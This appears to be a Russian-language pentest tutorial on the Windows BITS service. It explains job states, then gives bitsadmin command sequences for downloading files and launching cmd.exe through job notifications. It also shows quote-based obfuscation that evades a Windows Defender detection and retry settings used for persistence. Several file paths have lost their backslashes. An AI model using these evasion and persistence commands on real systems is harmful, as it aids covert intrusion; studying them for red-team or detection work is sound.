Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня мы с тобой подробно рассмотрим службу интеллектуальной передачи файлов в Windows, она же BITS (Background Intelligent Transfer Service). Помимо прямого предназначения она может помогать хакерам и пентестерам оставаться незамеченными при атаках на Windows. Заодно обсудим, как обезопасить систему от проникновения.
BITS — это сервис, предназначенный для загрузки и отправки файлов на серверы HTTP и SMB. Ключевые возможности BITS:
BITS работает с «заданиями» (job, задача). Задание — это контейнер, который содержит один или несколько файлов для передачи и свойства, которые определяют, как передавать файлы. У каждого задания есть приоритет. Задания с высоким приоритетом обрабатываются быстрее, чем остальные. При создании задачи определяется один из трех типов:
BG_JOB_TYPE_DOWNLOAD
— загрузка на локальную систему; BG_JOB_TYPE_UPLOAD
— передача на удаленный сервер; BG_JOB_TYPE_UPLOAD_REPLY
— передача на сервер и получение файла в ответ.
Задача BITS может находится в состоянии одного из четырех классов: starting
, action
, transferred
, и final
, которые мы рассмотрим ниже.
Жизненный цикл задания BITS начинается с его создания. Начальное состояние — BG_JOB_STATE_SUSPENDED
(задание BITS приостановлено). В этом состоянии ты можешь добавить файлы в задание и установить его свойства. Для выполнения задания можем выполнить метод Resume
. Если ты решишь выполнить задание без файлов, оно вернет код ошибки BG_E_EMPTY
, и задание останется приостановленным.
Пользователь, который создал задание BITS является его владельцем (пользователь, с привилегиями администратора, может стать владельцем любой задачи). Задача BITS выполняется, когда пользователь авторизован в системе с интерактивным типом входа.
К этому классу относятся следующие состояния:
BG_JOB_STATE_QUEUED
— задание находится в очереди и ждет выполнения. BG_JOB_STATE_CONNECTING
— служба BITS пытается подключиться к удаленному серверу. Если соединение успешно, состояние задачи изменится на BG_JOB_STATE_TRANSFERRING
, а в противном случае на BG_JOB_STATE_TRANSIENT_ERROR
. BG_JOB_STATE_TRANSFERRING
— BITS передает данные задания. BG_JOB_STATE_TRANSIENT_ERROR
— произошла ошибка, после которой передача может быть восстановлена. BITS будет пытаться выполнить задание какое‑то время, а если не выполнится, то состояние изменится на BG_JOB_STATE_ERROR
. Состояние задания меняется между статусами, пока BITS не передаст все файлы из него. Если задача не выполнится в течение выделенного времени, оно возвращается в состояние BG_JOB_STATE_QUEUED
, и начинается передача из следующего задания.
Задача переходит в состояние BG_JOB_STATE_TRANSFERRED
(передача данных успешно выполнена), когда файлы переданы. Дальше ты должен либо отменить, либо завершить работу этого задания.
Для успешного выполнения должны быть переданы все файлы, иначе задание завершится ошибкой — BG_JOB_STATE_ERROR
(произошла неисправимая ошибка, служба не может передать файл).
Как только задача перейдет в окончательное состояние, ты не можешь ее изменить. Задание будет в состоянии BG_JOB_STATE_ACKNLEDGED
(подтверждает успешное выполнение задания) после вызова Complete
, и все загруженные файлы будут сохранены. При вызове метода Cancel
операционная система удалит загруженные файлы и состояние задачи перейдет в BG_JOB_STATE_CANCELLED
(задание отменено, удалено из очереди). Задания, которые не перейдут в окончательное состояние, будут автоматически отменены.
Пока задание не находится в одном из окончательных состояний, ты можешь вызвать любой из четырех методов для его изменения:
BG_JOB_STATE_SUSPENDED
. Задания в состоянии BG_JOB_STATE_ERROR
или BG_JOB_STATE_TRANSIENT_ERROR
будут заново выполнены. BG_JOB_STATE_SUSPENDED
. Задание будет находится в этом состоянии до вызова метода Resume
.
Для работы с BITS ты можешь использовать утилиту bitsadmin.exe
, которая позволяет управлять задачами BITS, либо командлетами PowerShell.
После краткого знакомства с BITS у тебя уже должны появиться идеи, как можно эксплуатировать эту службу. В матрице MITRE ATT&CK BITS упоминается в нескольких тактиках:
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
BITS может позволить хакерам спрятать создание процесса и сетевого соединения за своей службой, впрочем, некоторые EDR и EPP уже обнаруживают такие попытки.
Службу можно запустить вс:
C:WindowsSystem32svchost.exe -k netsvcs -p -s BITS
При пентесте BITS может пригодиться для разных задач:
Действия описанные ниже также можно выполнить с помощью командлетов PowerShell:
Подробно останавливаться на них мы не будем.
Для создания задачи, которая будет загружать файл с удаленного ресурса можем выполнить команды ниже.
# Создаем задачу с именем hacks bitsadmin /create hacks # Добавляем файл для загрузки bitsadmin /addfile hacks http://example.com/file.txt C:usersd3f0x0Downloadstest.txt # А если для копирования, то bitsadmin /addfile hacks C:Usersqwer1.txt c:usersqwerqwer11.qwer1 # Вызываем задачу, используя метод resume bitsadmin /resume hacks # Подтверждаем выполнение задачи bitsadmin /complete hacks
Как ты думаешь, что тебя ждет на этапе добавления локального файла в задачу для копирования? Правильно, Windows Defender начнет ругаться и выдавать сообщение Trojan:Win32/BITSAbuse.AS
.
Можем по‑быстрому подобрать количество кавычек для обфускации команды, и получим:
b"it"sa"dm"in /addfile hacks c:Usersqwer1.txt c:usersqwerqwer11.qwer1
Если запустить эту команду, файл все же добавится в задачу, а детект сработает уже после этого.
www
Подробнее про обфускацию cmd/bat можешь почитать в блоге Red Team Notes.
В отличие от предыдущего способа у нас добавляется использование команды для настройки уведомления bitsadmin /SetNotifyCmdLine
.
# Создаем задачу с именем hacks bitsadmin /create hacks # Добавляем файл для загрузки bitsadmin /addfile hacks "C:Usersqwer1.txt" c:usersqwerqwer11.qwer1 # Установка уведомления, запуск c:windowssystem32cmd.exe bitsadmin /SetNotifyCmdLine hacks c:windowssystem32cmd.exe NULL # Вызываем задачу, используя метод resume bitsadmin /resume hacks # Подтверждаем выполнение задачи bitsadmin /complete hacks
Давай познакомимся с механизмом уведомлений подробнее. Мы уже знаем, что для его установки используется аргумент SetNotifyCmdLine
. Остался вопрос, когда сработает уведомление. Обратимся к документации, и увидим, что определены четыре типа уведомлений:
BG_JOB_STATE_TRANSFERRED
); BG_JOB_STATE_ERROR
); BG_JOB_STATE_TRANSFERRED
и BG_JOB_STATE_ERROR
); Для установки типа уведомлений можешь использовать команду:
bitsadmin /SETNOTIFYFLAGS hacks 1
Установленная для уведомления команда будет дочерним процессом службы BITS. Но нужно помнить, что создание дочерних процессов от svchost.exe
— не менее подозрительно, чем запуск утилит для работы с BITS. Тем не менее, такой метод может позволить обойти некоторые поведенческие модули.
Куда более редкое применение BITS — это закрепление в системе. Для этого можно использовать все те же команды, что я приводил выше. Дело в том, что если вызванная в рамках уведомления программа не отменила (cancel) или не завершила (complete) задание, BITS снова ее вызовет по истечении минимальной задержки, по умолчанию это 600 секунд. Для изменения значения можем использовать такую команду:
bitsadmin /setminretrydelay hacks 35
После этого BITS будет вызывать уведомление каждые 35 секунд, пока задача не перейдет в финальное состояние.
Возникает вопрос, как долго может работать такая задача? Для этого есть параметр NoProgressTimeout
, значение которого 1209600 секунд (14 дней). Изменить значение можешь такой командой:
bitsadmin /setnoprogresstimeout myDownloadJob 20
В результате ты сможешь закрепиться в системе, если не выполнишь команду bitsadmin /complete hacks
или bitsadmin /cancel hacks
.
Создаем задачу с именем hacks
:
bitsadmin /create hacks
Добавляем файл для загрузки:
bitsadmin /addfile hacks "C:Usersqwer1.txt" c:usersqwerqwer11.qwer1
Установим уведомление и запустим cmd.exe
:
bitsadmin /SetNotifyCmdLine hacks c:windowssystem32cmd.exe NULL
Вызываем задачу, используя метод resume:
bitsadmin /resume hacks
И, конечно, не подтверждаем или не отменяем выполнение задачи.
Пользователь может просмотреть список своих задач, а локальный администратор — список задач всех пользователей.
Источник: xakep.ru